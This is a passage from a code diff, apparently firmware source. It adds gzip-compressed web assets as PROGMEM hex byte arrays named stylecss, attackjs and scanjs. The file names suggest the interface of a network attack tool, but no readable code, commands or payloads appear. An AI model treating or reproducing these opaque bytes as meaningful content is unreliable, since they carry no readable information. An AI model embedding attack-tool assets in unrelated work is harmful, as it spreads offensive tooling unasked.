0x7d, 0xfd, 0x03, 0xe3, 0x6e, 0x70, 0x52, 0xa1, 0x0d, 0x00, 0x00}; +const char stylecss[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x73, 0x74, 0x79, 0x6c, 0x65, 0x2e, 0x63, 0x73, 0x73, 0x00, 0xad, 0x57, 0xdb, 0x8e, 0xa4, 0x36, 0x10, 0xfd, 0x15, 0x32, 0xad, 0x95, 0x76, 0xa5, 0x06, 0x71, 0xeb, 0x1b, 0x68, 0xa5, 0xdd, 0x4d, 0xb2, 0x52, 0x5e, 0xf2, 0x94, 0xb7, 0xd5, 0x24, 0x72, 0x83, 0xe9, 0xb6, 0x1a, 0x30, 0x32, 0x66, 0xa6, 0x27, 0x88, 0x7c, 0x7b, 0xca, 0x37, 0x30, 0xd0, 0xf3, 0x94, 0xa8, 0x35, 0x63, 0x38, 0xb6, 0xeb, 0x72, 0x5c, 0xae, 0x2a, 0xbe, 0x64, 0x57, 0xc4, 0x5a, 0xcc, 0x9d, 0x8e, 0x17, 0xee, 0x31, 0x75, 0xce, 0x34, 0x7f, 0xeb, 0xcf, 0x28, 0xbb, 0x5d, 0x18, 0xed, 0xea, 0x3c, 0xd9, 0x44, 0xfb, 0xe8, 0x14, 0xe1, 0x34, 0xa3, 0x25, 0x65, 0xc9, 0xe6, 0x5c, 0x88, 0x5f, 0x5a, 0xd0, 0x9a, 0xbb, 0x05, 0xaa, 0x48, 0xf9, 0x96, 0xb4, 0xa8, 0x6e, 0xdd, 0x16, 0x33, 0x52, 0xa4, 0x15, 0x62, 0x17, 0x52, 0x27, 0xfe, 0x70, 0x0d, 0x7a, 0xb9, 0xa4, 0x25, 0x7f, 0xe3, 0x24, 0xf0, 0x0e, 0x0c, 0x57, 0x7a, 0xd2, 0xe5, 0xb4, 0x49, 0x02, 0xf1, 0x6e, 0x2b, 0x09, 0x8b, 0x28, 0x88, 0xf6, 0x33, 0x25, 0xe7, 0xb4, 0x41, 0x79, 0x4e, 0xea, 0x4b, 0xe2, 0x85, 0xb8, 0x72, 0x02, 0xb1, 0x83, 0xb2, 0x1c, 0x33, 0x97, 0xa1, 0x9c, 0x74, 0x6d, 0x12, 0x35, 0x77, 0x83, 0x94, 0xb8, 0xe0, 0x49, 0x4b, 0x4b, 0x92, 0x3b, 0x9b, 0xf8, 0x74, 0x88, 0xd1, 0xc9, 0xd9, 0xc1, 0xac, 0x34, 0xe1, 0x15, 0x93, 0xcb, 0x95, 0x27, 0x81, 0x0f, 0x56, 0x85, 0x33, 0xab, 0x82, 0xff, 0x66, 0x55, 0x2c, 0xac, 0xf2, 0x8e, 0xff, 0x83, 0x5d, 0x1c, 0x9d, 0x4b, 0xdc, 0xeb, 0x3d, 0xa0, 0xad, 0x44, 0x4d, 0x8b, 0x13, 0xf3, 0x30, 0x94, 0xe8, 0x8c, 0xcb, 0xbe, 0x24, 0x35, 0x76, 0xaf, 0x6a, 0x53, 0x74, 0x6c, 0xee, 0x43, 0xd3, 0x6b, 0xba, 0xbd, 0x1d, 0x58, 0xe2, 0x0f, 0x9e, 0xd0, 0xd6, 0x17, 0x25, 0x45, 0x3c, 0x11, 0x8f, 0x83, 0xc7, 0xc4, 0x62, 0x8d, 0xc8, 0xe7, 0xc1, 0x3b, 0xd3, 0x32, 0xef, 0x6d, 0xfd, 0x02, 0x80, 0x95, 0x38, 0xef, 0xb5, 0x9b, 0xdf, 0xfd, 0xf8, 0x10, 0x1f, 0x06, 0xef, 0xc2, 0x30, 0xae, 0x0d, 0x18, 0x47, 0xdf, 0x76, 0xc7, 0x60, 0xf0, 0xb2, 0x12, 0x23, 0xd6, 0xcb, 0xff, 0xb0, 0x93, 0x5f, 0x01, 0xc1, 0x35, 0xc7, 0x62, 0x3b, 0xc7, 0x77, 0xee, 0xa2, 0x92, 0x5c, 0xea, 0x44, 0x61, 0x83, 0xd7, 0xe2, 0x12, 0x67, 0xbc, 0x7f, 0x25, 0x39, 0xbf, 0x26, 0x27, 0xb0, 0xd9, 0xf9, 0x89, 0x54, 0x0d, 0x65, 0x1c, 0xd5, 0x7c, 0xe4, 0xd1, 0xb7, 0x40, 0xb3, 0x05, 0xc4, 0xd9, 0xe7, 0xa0, 0xa8, 0x83, 0x49, 0x8e, 0x78, 0xd7, 0x6a, 0x79, 0x41, 0xe8, 0x03, 0x95, 0x5a, 0x8a, 0x62, 0x5a, 0xb0, 0xe2, 0x49, 0xb6, 0xbe, 0x93, 0xfb, 0x8c, 0xb0, 0x38, 0x16, 0x53, 0x59, 0x49, 0xb2, 0x9b, 0xe4, 0x3a, 0xeb, 0x58, 0x0b, 0x7e, 0x35, 0x94, 0x18, 0x4b, 0x39, 0x07, 0x31, 0xbf, 0xa3, 0x0a, 0x2b, 0x47, 0x38, 0x83, 0xa8, 0x2e, 0x28, 0xab, 0x92, 0xae, 0x69, 0x30, 0xcb, 0x50, 0x8b, 0xd3, 0x25, 0x6d, 0xa9, 0x5c, 0x99, 0xe3, 0x8c, 0x32, 0xc4, 0x09, 0xad, 0x13, 0x30, 0x16, 0x33, 0xa1, 0x76, 0xd8, 0x60, 0xc6, 0x28, 0x5b, 0x73, 0x62, 0x62, 0xa9, 0x28, 0x8a, 0x59, 0xa4, 0xa1, 0x22, 0xda, 0x45, 0xbb, 0x45, 0x20, 0xed, 0x26, 0xff, 0x20, 0x4c, 0xe0, 0xc5, 0x8e, 0x55, 0x78, 0x1f, 0x36, 0x59, 0x49, 0x5b, 0xfc, 0xab, 0x54, 0x65, 0x9d, 0xb2, 0xad, 0x64, 0x62, 0x59, 0x4a, 0x58, 0xf8, 0xbd, 0xc9, 0x68, 0xf3, 0xa6, 0xa3, 0x64, 0xbc, 0x18, 0xde, 0x09, 0xe2, 0x29, 0x5d, 0x9b, 0x6e, 0x69, 0x8f, 0xa6, 0x8b, 0x03, 0x51, 0xc0, 0x69, 0x25, 0x10, 0xe0, 0xf7, 0x8a, 0xb3, 0xdb, 0x37, 0x7a, 0xff, 0x19, 0x64, 0x21, 0xa0, 0x81, 0xf5, 0x39, 0x69, 0x9b, 0x12, 0xbd, 0x25, 0xe7, 0x92, 0x66, 0xb7, 0xb4, 0xa1, 0x2d, 0x91, 0x44, 0x31, 0x5c, 0x02, 0x63, 0x2f, 0x78, 0x7e, 0x7c, 0xd1, 0x6e, 0xf2, 0x51, 0x8b, 0x0d, 0xc2, 0x95, 0xd1, 0xe9, 0x64, 0x69, 0x28, 0x66, 0xe1, 0x44, 0xce, 0x37, 0xc2, 0xdd, 0x0e, 0x52, 0x90, 0xab, 0xc2, 0x27, 0xa9, 0x69, 0x8d, 0x53, 0xb7, 0xa2, 0x7f, 0x3f, 0x42, 0xdb, 0x35, 0xb8, 0x02, 0xcc, 0x3d, 0x0b, 0x65, 0xd8, 0x2c, 0xdd, 0x72, 0x48, 0xdd, 0x74, 0xbc, 0x1f, 0xdd, 0x41, 0x67, 0xb8, 0xe3, 0x1d, 0xc7, 0x29, 0x6d, 0x50, 0x46, 0xf8, 0x5b, 0xe2, 0x2f, 0x89, 0x56, 0x32, 0xc0, 0xb7, 0xdb, 0x83, 0x5d, 0x82, 0x51, 0x08, 0xdd, 0x54, 0x92, 0xe0, 0x1b, 0xdd, 0xa1, 0x80, 0x54, 0xa8, 0xcb, 0xc7, 0x29, 0x5c, 0x5c, 0x7d, 0xbe, 0xe1, 0x77, 0x99, 0x9e, 0xe6, 0x41, 0x13, 0x8f, 0x16, 0x0b, 0x6d, 0x09, 0x2a, 0x40, 0x3d, 0xdc, 0x62, 0xb0, 0xa2, 0xe6, 0xc9, 0xd3, 0x53, 0xba, 0x56, 0x6f, 0xce, 0x48, 0x38, 0xfe, 0xae, 0xb3, 0x89, 0xc4, 0x71, 0xee, 0xfc, 0xe3, 0xac, 0xa4, 0xcf, 0x0e, 0xf9, 0x91, 0x84, 0xd5, 0x0e, 0xe9, 0xa9, 0x0c, 0x48, 0xe1, 0xfb, 0x61, 0x74, 0x14, 0x8c, 0x37, 0xee, 0xcb, 0x59, 0xe5, 0x9a, 0xce, 0xa0, 0xaf, 0x57, 0x02, 0xd6, 0x6a, 0x6f, 0xd5, 0x7a, 0xdf, 0x81, 0x64, 0x2b, 0xff, 0xfc, 0x31, 0x0e, 0xa6, 0x9b, 0xcb, 0x28, 0xe4, 0x0b, 0xfc, 0x31, 0xde, 0xe5, 0xf8, 0xf2, 0x49, 0x1e, 0xfc, 0x7b, 0x73, 0xef, 0xe0, 0x83, 0x77, 0x25, 0x39, 0xee, 0xe7, 0x04, 0xb5, 0x57, 0xfa, 0x3a, 0x77, 0xd9, 0xce, 0x6a, 0xa8, 0x26, 0x95, 0x4c, 0x06, 0x6e, 0x0d, 0xb9, 0x24, 0x29, 0x50, 0x8e, 0x7f, 0xab, 0x2d, 0x34, 0xef, 0x74, 0xae, 0x08, 0xda, 0xe1, 0xcb, 0x0d, 0xbf, 0x15, 0x0c, 0x96, 0xb5, 0x8e, 0x5a, 0xd7, 0xfb, 0x1f, 0xfa, 0x31, 0x84, 0x06, 0xa8, 0x0c, 0xd3, 0x6b, 0x30, 0x0c, 0x57, 0x36, 0xaf, 0xcb, 0x38, 0x0e, 0xe2, 0xfd, 0x80, 0x4c, 0x8a, 0xde, 0x85, 0xc7, 0x00, 0xca, 0xd3, 0x32, 0x27, 0x49, 0xa3, 0x51, 0x72, 0xa5, 0x2f, 0x32, 0x0e, 0xe4, 0xd2, 0xd3, 0xee, 0x7c, 0xc4, 0xf1, 0x50, 0x12, 0x53, 0x41, 0x62, 0xc1, 0xe0, 0xe0, 0x55, 0x18, 0x0e, 0xe7, 0xaf, 0x49, 0xc9, 0x3c, 0x09, 0x87, 0xf1, 0x3e, 0xfe, 0x45, 0x1f, 0x94, 0xb0, 0x2d, 0x7d, 0x85, 0xa3, 0x70, 0xcf, 0x0c, 0xa3, 0x1b, 0x68, 0x61, 0x15, 0x2a, 0xd3, 0x0a, 0x6e, 0xee, 0xb8, 0x40, 0x04, 0xa2, 0x92, 0x08, 0xcc, 0x6a, 0x81, 0x0f, 0x32, 0xd3, 0x4c, 0xb7, 0x2a, 0x3a, 0x33, 0xb5, 0xba, 0xf2, 0xa8, 0x79, 0xf0, 0xaa, 0xbe, 0xe0, 0xd9, 0x82, 0xef, 0x5f, 0xbf, 0xee, 0x83, 0xaf, 0x66, 0x01, 0x5b, 0x94, 0x0e, 0x53, 0xcd, 0xd4, 0xec, 0x0b, 0x2a, 0x3b, 0xdc, 0xaf, 0x6a, 0x86, 0xaa, 0xbf, 0x96, 0x67, 0x93, 0x1f, 0xb1, 0xef, 0xaf, 0x92, 0x12, 0xb4, 0x23, 0x03, 0xcf, 0x7b, 0xcb, 0x7d, 0xf9, 0x1f, 0xb2, 0x65, 0x39, 0xf0, 0xeb, 0x1a, 0x17, 0x00, 0x4c, 0x6c, 0x61, 0x8f, 0x9d, 0xce, 0x9d, 0xbd, 0x88, 0xff, 0x29, 0xcd, 0x0a, 0x73, 0x4c, 0x78, 0x9b, 0xf4, 0x07, 0xab, 0x74, 0xfb, 0xb0, 0xcb, 0xc5, 0x6f, 0xf8, 0x52, 0xe1, 0x9c, 0x20, 0xa7, 0xcd, 0x04, 0x51, 0x0e, 0xaa, 0x73, 0xe7, 0x63, 0x85, 0xee, 0xda, 0xd8, 0xa3, 0x28, 0x89, 0x9f, 0xfa, 0x0d, 0x6a, 0xfe, 0x10, 0x1e, 0x39, 0x1e, 0xc9, 0xb7, 0xd3, 0x0b, 0xae, 0x33, 0xeb, 0xad, 0x42, 0xf6, 0xdb, 0x0b, 0xae, 0x73, 0xca, 0x2c, 0x40, 0x44, 0xef, 0x76, 0xd3, 0x72, 0x4b, 0xd0, 0xf8, 0xd2, 0xdc, 0x78, 0x6b, 0xbd, 0x96, 0xa8, 0xe5, 0x2d, 0x58, 0x63, 0x41, 0x52, 0x78, 0x6d, 0xed, 0xad, 0x17, 0x7a, 0xcc, 0x3b, 0x6a, 0xa6, 0x67, 0xb9, 0xa9, 0x6d, 0x49, 0x3e, 0xee, 0x5b, 0xdc, 0xbc, 0x55, 0x78, 0x5a, 0xc7, 0x04, 0xa5, 0x63, 0x18, 0x6a, 0xf4, 0xb2, 0xac, 0x38, 0x9a, 0x6f, 0xd1, 0x7b, 0xa8, 0x8c, 0xb2, 0x6a, 0xef, 0xc4, 0x2e, 0x67, 0xbc, 0x45, 0xba, 0xbf, 0x1d, 0x9b, 0x3c, 0x51, 0x0a, 0x8d, 0x48, 0x52, 0xcb, 0x96, 0x42, 0x49, 0x7e, 0x78, 0xcf, 0xa4, 0x28, 0x7d, 0xd7, 0x56, 0x3d, 0x74, 0x61, 0xea, 0x72, 0x86, 0xc5, 0xef, 0x51, 0xde, 0xee, 0x1a, 0xa8, 0xe2, 0xb9, 0x0b, 0xa7, 0x4b, 0x1a, 0xbe, 0xf5, 0xce, 0x1d, 0x44, 0x41, 0xbd, 0xd5, 0x83, 0xcc, 0xc3, 0x3f, 0xf8, 0x5b, 0x83, 0x3f, 0xb7, 0xdd, 0xb9, 0x22, 0xfc, 0xd9, 0x86, 0x18, 0x86, 0x1e, 0x66, 0x86, 0xa8, 0x6d, 0xcf, 0xfd, 0x43, 0xf3, 0xad, 0x46, 0xd2, 0xea, 0x11, 0x64, 0x4b, 0x65, 0xdd, 0xd1, 0x75, 0x13, 0x60, 0xf5, 0xcf, 0xc1, 0xa2, 0x93, 0xdd, 0xfb, 0x7e, 0xba, 0x6c, 0x52, 0xa1, 0xa6, 0x71, 0x2e, 0x6a, 0xab, 0x48, 0x63, 0x82, 0x4f, 0xd9, 0x63, 0xbf, 0xdb, 0x61, 0x3d, 0x22, 0x35, 0x95, 0x79, 0x5f, 0x4a, 0xc0, 0x00, 0xbc, 0x32, 0xd4, 0x3c, 0x6a, 0xd2, 0x57, 0x6c, 0x9a, 0xe2, 0xb1, 0xac, 0xc5, 0x80, 0xdf, 0x85, 0x07, 0xc2, 0x9c, 0xf1, 0xb6, 0xdd, 0x07, 0xc5, 0x96, 0x3a, 0xbb, 0x07, 0x54, 0xaf, 0x27, 0x14, 0xe1, 0x6b, 0x5c, 0xd3, 0xfe, 0x20, 0x0a, 0x20, 0x83, 0xc6, 0x31, 0x1a, 0xac, 0xb5, 0xb8, 0x42, 0xa4, 0x9c, 0x1d, 0x5a, 0xdd, 0x55, 0x67, 0xcc, 0x66, 0x50, 0x0b, 0xcd, 0x76, 0x76, 0x9d, 0x41, 0x82, 0xa7, 0x05, 0x30, 0x17, 0xd3, 0xb1, 0xf9, 0x7b, 0x83, 0xda, 0x56, 0xa4, 0xa1, 0xe7, 0xad, 0xd8, 0x8a, 0x20, 0x2d, 0x6d, 0x75, 0x73, 0xfe, 0x28, 0x10, 0xf6, 0xeb, 0xdb, 0x32, 0xf6, 0x1c, 0xef, 0xb3, 0x0d, 0xac, 0x5e, 0x51, 0x4e, 0x5f, 0xd5, 0xa9, 0x3d, 0x64, 0xd9, 0xc4, 0x56, 0x1e, 0x8b, 0xdf, 0x74, 0x42, 0xea, 0x12, 0xc3, 0x5d, 0x1b, 0x96, 0x4e, 0x8e, 0x59, 0x59, 0xf4, 0x97, 0xba, 0x4b, 0xb7, 0x32, 0xb5, 0x5d, 0x7a, 0xa7, 0x3c, 0x18, 0x1e, 0xe3, 0xd9, 0xb7, 0x86, 0x2d, 0xb5, 0x20, 0x25, 0x7e, 0x5e, 0x24, 0x96, 0x6c, 0xec, 0x57, 0xed, 0x1a, 0xa0, 0x72, 0xbe, 0x2c, 0x12, 0xa8, 0xe3, 0xd4, 0x00, 0xb2, 0x5d, 0x36, 0x88, 0xd1, 0x18, 0x04, 0xb1, 0xac, 0x77, 0x0c, 0x7a, 0x83, 0x75, 0x97, 0x3b, 0x49, 0x95, 0x2b, 0x9c, 0x1f, 0x19, 0xe4, 0xcc, 0xf6, 0xcf, 0xcf, 0x4f, 0x40, 0xc7, 0xd3, 0xb3, 0xf5, 0xc9, 0x66, 0x3e, 0xa0, 0xbd, 0x70, 0x07, 0xf7, 0xc4, 0x09, 0x55, 0x25, 0xd2, 0x47, 0xe4, 0x05, 0x12, 0x15, 0xe6, 0x96, 0x6e, 0xb0, 0x95, 0x43, 0xa8, 0x86, 0x48, 0x0d, 0xb1, 0x1a, 0x76, 0x6a, 0xd8, 0xab, 0xe1, 0xa0, 0x86, 0xa3, 0x1a, 0x4e, 0x6a, 0x08, 0x7c, 0x3d, 0x6a, 0x39, 0x41, 0x68, 0xbe, 0xd2, 0xf6, 0xca, 0xc6, 0x64, 0xdd, 0x39, 0x1a, 0xce, 0x64, 0xb5, 0x4c, 0xed, 0x6f, 0x40, 0xe8, 0x92, 0x72, 0x5c, 0xbb, 0x6d, 0x35, 0xe7, 0x55, 0xd7, 0x2a, 0x5a, 0x97, 0x6f, 0xf3, 0x82, 0x35, 0xa6, 0xed, 0x10, 0xbe, 0xa1, 0x3f, 0xf5, 0xca, 0x02, 0x6d, 0x40, 0xec, 0x45, 0xd1, 0x07, 0xe5, 0x63, 0x38, 0x7e, 0xe9, 0x79, 0xfb, 0xbd, 0xc6, 0x22, 0x8d, 0x85, 0x81, 0x06, 0x62, 0x03, 0x9c, 0xa6, 0x8d, 0x3b, 0x8d, 0x45, 0x87, 0x69, 0xe3, 0xde, 0xc8, 0x37, 0xc0, 0x41, 0x03, 0x3b, 0x4b, 0xe3, 0x51, 0x63, 0x7b, 0x4b, 0xe3, 0x49, 0x63, 0x07, 0xa3, 0x31, 0xf0, 0x0d, 0x62, 0xa9, 0x0c, 0x8c, 0xfd, 0x47, 0x4b, 0xe7, 0x9c, 0xd5, 0x35, 0x4b, 0xaa, 0x61, 0x1e, 0xfe, 0x05, 0x08, 0x52, 0xa1, 0x81, 0x83, 0x11, 0x00, 0x00}; +const char attackjs[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x2e, 0x6a, 0x73, 0x00, 0x95, 0x94, 0x4b, 0x6f, 0x83, 0x30, 0x0c, 0xc7, 0xcf, 0xf0, 0x29, 0xb2, 0x9c, 0x52, 0xc1, 0x3a, 0x92, 0xde, 0x8a, 0xaa, 0x9e, 0x36, 0x4d, 0xd3, 0x5e, 0xd2, 0x7a, 0xab, 0x38, 0x18, 0x48, 0x5b, 0x56, 0x1a, 0x50, 0x92, 0xae, 0x87, 0xa9, 0xdf, 0x7d, 0x3c, 0x46, 0x19, 0x2f, 0x95, 0x49, 0x08, 0x08, 0xe6, 0xff, 0x8b, 0xed, 0xd8, 0xfe, 0x02, 0x89, 0x40, 0x6b, 0x08, 0xf6, 0x4f, 0x1f, 0x6f, 0xaf, 0x68, 0x81, 0xd6, 0xeb, 0x0d, 0xc4, 0x8a, 0xdb, 0x8e, 0xed, 0x78, 0xf6, 0xc0, 0xbb, 0xe7, 0x9a, 0x86, 0x61, 0x98, 0x9b, 0xa3, 0x08, 0x74, 0x94, 0x08, 0x14, 0x4a, 0x38, 0x91, 0xc9, 0xb7, 0x69, 0x6c, 0xb9, 0xbe, 0x27, 0x38, 0xe4, 0x70, 0xd4, 0x3b, 0x3c, 0x99, 0x46, 0x42, 0x70, 0xf9, 0xb8, 0x7a, 0x79, 0xce, 0xb8, 0xf5, 0x26, 0x6b, 0xc7, 0xcb, 0x2e, 0xb4, 0x44, 0x31, 0x88, 0x2d, 0xc1, 0x4a, 0x27, 0x29, 0x9e, 0xa0, 0xf9, 0x65, 0x09, 0x52, 0xe3, 0x89, 0x5b, 0xc1, 0x7c, 0x0e, 0x41, 0x22, 0x86, 0x61, 0xf4, 0x3f, 0xb0, 0x54, 0x26, 0x3e, 0x1f, 0x66, 0xb1, 0x71, 0xac, 0x66, 0x9c, 0x2b, 0x90, 0xd9, 0x52, 0xb5, 0xa8, 0x5c, 0x05, 0xa4, 0x19, 0x32, 0xf5, 0x2c, 0xdc, 0x89, 0x6b, 0x94, 0x98, 0x76, 0xc4, 0x45, 0x1c, 0xa3, 0xb4, 0xec, 0x8f, 0xb6, 0xe9, 0xf7, 0xfb, 0x7e, 0x84, 0xd3, 0xcc, 0x43, 0x16, 0xc2, 0x77, 0x38, 0xbb, 0x37, 0x0d, 0x33, 0xaf, 0x1d, 0xca, 0x75, 0x1e, 0x1d, 0xe2, 0xd1, 0x26, 0xaf, 0x88, 0xee, 0x3a, 0x8e, 0x0d, 0xe1, 0x58, 0x85, 0xab, 0x80, 0x10, 0xc7, 0xe9, 0x55, 0xdc, 0xec, 0x37, 0x4d, 0x67, 0xb3, 0x2e, 0xec, 0xe2, 0xcc, 0xc9, 0x21, 0x09, 0x79, 0x5e, 0xdd, 0xea, 0x14, 0xe9, 0x60, 0x77, 0x59, 0x1a, 0x01, 0x28, 0x8e, 0x9c, 0x79, 0xde, 0x0b, 0x9d, 0xea, 0x5e, 0xa0, 0x9b, 0xf6, 0xb7, 0xa2, 0x69, 0x7c, 0xc9, 0x61, 0xef, 0x56, 0x62, 0xda, 0x16, 0xd3, 0x1e, 0x31, 0x1d, 0x10, 0xb3, 0xb6, 0x98, 0xf5, 0x88, 0x59, 0x47, 0x7c, 0x2e, 0xb2, 0xf2, 0x10, 0xc5, 0x9c, 0x60, 0x79, 0x14, 0xcb, 0xe0, 0x10, 0x2e, 0x4a, 0x01, 0xb6, 0x48, 0x4f, 0x97, 0x62, 0x74, 0x1b, 0xe2, 0x79, 0x96, 0x1a, 0x8b, 0xf4, 0xb4, 0x5d, 0x66, 0xf5, 0xbb, 0x56, 0x56, 0x5b, 0xd3, 0xc2, 0x6a, 0x57, 0x29, 0x2d, 0xc6, 0x84, 0x51, 0x0e, 0x8c, 0xdc, 0x99, 0x56, 0xc2, 0xe3, 0x04, 0xc2, 0x6a, 0x92, 0x94, 0x2e, 0x96, 0xd4, 0xe9, 0xa7, 0xca, 0x86, 0x40, 0x4d, 0x91, 0x5c, 0xa5, 0x89, 0x50, 0xe5, 0x39, 0x34, 0xe6, 0x57, 0xfe, 0x98, 0xa6, 0x20, 0x15, 0xaf, 0x7f, 0x72, 0x3b, 0x5b, 0xfe, 0x00, 0x06, 0xbb, 0x66, 0x89, 0xf7, 0x04, 0x00, 0x00}; +const char scanjs[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x73, 0x63, 0x61, 0x6e, 0x2e, 0x6a, 0x73, 0x00, 0xcd, 0x59, 0x6d, 0x6f, 0xdb, 0x36, 0x10, 0xfe, 0xec, 0xfc, 0x0a, 0x56, 0xc3, 0x26, 0x1b, 0x72, 0x52, 0xcb, 0x69, 0x5a, 0x20, 0x8e, 0x5d, 0xa4, 0x69, 0x86, 0x75, 0x68, 0xbb, 0x22, 0x29, 0x86, 0x01, 0x99, 0x50, 0xc8, 0x12, 0x13, 0xab, 0x91, 0x25, 0x43, 0x94, 0x93, 0x16, 0x5d, 0xfe, 0xfb, 0xee, 0x48, 0x4a, 0x26, 0x45, 0xca, 0x76, 0xb2, 0xac, 0x68, 0x51, 0x38, 0xb2, 0xee, 0x85, 0xc7, 0x7b, 0x7b, 0x8e, 0xf4, 0x4d, 0x58, 0x90, 0x2c, 0x9c, 0xd3, 0xdf, 0x59, 0x9e, 0x91, 0x31, 0xb9, 0x08, 0x46, 0x3b, 0x37, 0xf0, 0x8a, 0x45, 0x61, 0x26, 0x5f, 0x7d, 0x0b, 0x17, 0xec, 0xf0, 0x22, 0xe8, 0xb3, 0x32, 0x2c, 0x93, 0x3c, 0xc3, 0xe7, 0xbb, 0xd1, 0x4e, 0x07, 0xfe, 0xed, 0x5c, 0x2e, 0xb3, 0x08, 0xdf, 0x91, 0xb8, 0x08, 0x6f, 0xcf, 0x41, 0xa4, 0xdb, 0xfb, 0xb6, 0xd3, 0x41, 0xf9, 0x59, 0x39, 0x4f, 0x47, 0xe2, 0x91, 0xd1, 0x94, 0x46, 0x25, 0x8d, 0xe5, 0xd7, 0xdb, 0x24, 0x2e, 0x67, 0xf2, 0x39, 0xca, 0xd3, 0xbc, 0x90, 0xcf, 0xf3, 0x30, 0xfa, 0x93, 0x66, 0x31, 0xff, 0xbe, 0xd3, 0x79, 0xfa, 0x94, 0x1c, 0x47, 0x11, 0x65, 0x8c, 0x7c, 0xc8, 0x93, 0xac, 0x64, 0x3b, 0x9d, 0x2b, 0x5a, 0x9e, 0x76, 0x9d, 0x70, 0xf1, 0x7e, 0x39, 0x77, 0x7a, 0x7b, 0x49, 0x96, 0xd1, 0xe2, 0xb7, 0x8f, 0xef, 0xde, 0x82, 0x81, 0x95, 0xad, 0x7b, 0x60, 0xe8, 0x5e, 0x4a, 0xb3, 0x2b, 0xae, 0x1f, 0x2d, 0x00, 0xa2, 0x73, 0x54, 0x16, 0x13, 0x07, 0xcc, 0xf5, 0xf0, 0x71, 0x46, 0xa2, 0x34, 0x64, 0x6c, 0xec, 0x26, 0xb1, 0x3b, 0x39, 0x7a, 0x5a, 0xce, 0x2c, 0x24, 0xc6, 0x90, 0x78, 0x7e, 0xfe, 0xe6, 0x75, 0x0b, 0x03, 0xba, 0xcb, 0x9d, 0xbc, 0x87, 0xcf, 0x16, 0x86, 0x68, 0xe6, 0x4e, 0x4e, 0x66, 0x2d, 0xc4, 0x02, 0xf4, 0xbb, 0x93, 0x33, 0xd0, 0xdf, 0xc2, 0x40, 0xb3, 0xc8, 0x9d, 0x9c, 0x66, 0x51, 0x0b, 0x39, 0xcd, 0xa3, 0xeb, 0x56, 0xdb, 0xc1, 0x89, 0xee, 0xe4, 0xdd, 0xf1, 0x49, 0x0b, 0xf9, 0x86, 0x3b, 0xd8, 0x9d, 0x08, 0x47, 0xb7, 0xed, 0x9f, 0xc7, 0xeb, 0x24, 0x4f, 0x97, 0xf3, 0xac, 0x75, 0xa1, 0x82, 0xce, 0xf3, 0x1b, 0xda, 0x20, 0x3f, 0x45, 0x57, 0xf3, 0xf0, 0x5d, 0xe6, 0x45, 0x17, 0x83, 0x9a, 0x8c, 0x07, 0xa3, 0xe4, 0xc8, 0x16, 0xa0, 0xc4, 0xf3, 0x30, 0x57, 0x3a, 0x55, 0x76, 0x34, 0xe2, 0x78, 0x91, 0x04, 0x17, 0x8d, 0xef, 0x52, 0x72, 0xd7, 0x0f, 0x30, 0xfb, 0x78, 0x1a, 0x81, 0xd0, 0x22, 0x2c, 0x18, 0x7d, 0x93, 0x95, 0xdd, 0xa6, 0xf4, 0x7e, 0xd0, 0x23, 0x1e, 0xf1, 0xf7, 0x07, 0xa3, 0x1d, 0x60, 0x4f, 0x2e, 0xbb, 0x42, 0xe2, 0x88, 0x1c, 0x0c, 0x7a, 0x22, 0xf1, 0x30, 0x3b, 0xe6, 0xb4, 0xa4, 0xc5, 0xa7, 0x82, 0xc6, 0x68, 0x77, 0x87, 0xa6, 0x8c, 0x12, 0x85, 0xf5, 0x85, 0xc9, 0x9a, 0x17, 0x61, 0x76, 0x45, 0x57, 0xdc, 0x0d, 0xf2, 0x55, 0x41, 0x69, 0xe6, 0x88, 0xf2, 0x80, 0x02, 0xe9, 0x88, 0x34, 0xf4, 0xc6, 0xa4, 0x5b, 0x6f, 0xf4, 0x25, 0xcf, 0x49, 0xdd, 0xdb, 0x14, 0x32, 0xce, 0x21, 0x87, 0x32, 0x5b, 0x7b, 0x28, 0xce, 0xfd, 0x1d, 0xab, 0xf9, 0xea, 0x78, 0x89, 0x87, 0x4e, 0x8e, 0x81, 0x15, 0xea, 0xe3, 0xcd, 0x6b, 0x93, 0x4d, 0xe4, 0xae, 0xe3, 0x51, 0x16, 0x19, 0x0e, 0x19, 0x04, 0x3d, 0x55, 0x1c, 0x13, 0xdc, 0x54, 0x20, 0x72, 0xdb, 0xf1, 0x0c, 0x69, 0xbf, 0xf2, 0x3f, 0x99, 0x90, 0x01, 0xec, 0xc1, 0xb6, 0x82, 0x0f, 0x2e, 0xc7, 0x3d, 0x4c, 0x97, 0x65, 0x09, 0x4d, 0x21, 0xcf, 0xa2, 0x34, 0x89, 0xae, 0xc7, 0x6e, 0x18, 0xc7, 0xdd, 0x41, 0x9f, 0x9b, 0xdf, 0x43, 0xe5, 0x29, 0xb8, 0x10, 0x4a, 0x39, 0x8e, 0x1d, 0x6e, 0x91, 0x60, 0x9f, 0x38, 0x9a, 0x79, 0x58, 0x5e, 0xa6, 0x79, 0x58, 0x59, 0xf6, 0xdd, 0x0d, 0xf5, 0xdd, 0x9d, 0xcc, 0x50, 0x18, 0x1e, 0xb0, 0xd0, 0x4c, 0x3d, 0xa2, 0x08, 0x8f, 0xe2, 0xe4, 0xa6, 0xae, 0x1c, 0x1e, 0xbe, 0x69, 0x18, 0x5d, 0x5f, 0x15, 0xf9, 0x32, 0x03, 0x2f, 0x12, 0x93, 0x0c, 0x69, 0x2d, 0xa8, 0xc4, 0xf1, 0x78, 0xe0, 0x3d, 0xc7, 0x25, 0xac, 0xfc, 0x9a, 0xd2, 0xb1, 0xcb, 0x73, 0x06, 0x76, 0xef, 0xf1, 0x07, 0xcf, 0xf9, 0x79, 0x64, 0x5b, 0xe0, 0x26, 0x4c, 0x97, 0xe8, 0x60, 0x48, 0x4d, 0x33, 0x61, 0x09, 0x2f, 0x22, 0x90, 0x99, 0x88, 0x4f, 0x52, 0x7d, 0xc1, 0x5d, 0x99, 0x9b, 0xe0, 0x8d, 0xc2, 0xee, 0x8d, 0x67, 0xba, 0x37, 0x4e, 0xdf, 0x9f, 0x98, 0xe2, 0xa2, 0x91, 0x58, 0x42, 0xfd, 0x2c, 0x20, 0x63, 0x48, 0xe8, 0x5d, 0x07, 0x53, 0xd5, 0x39, 0x74, 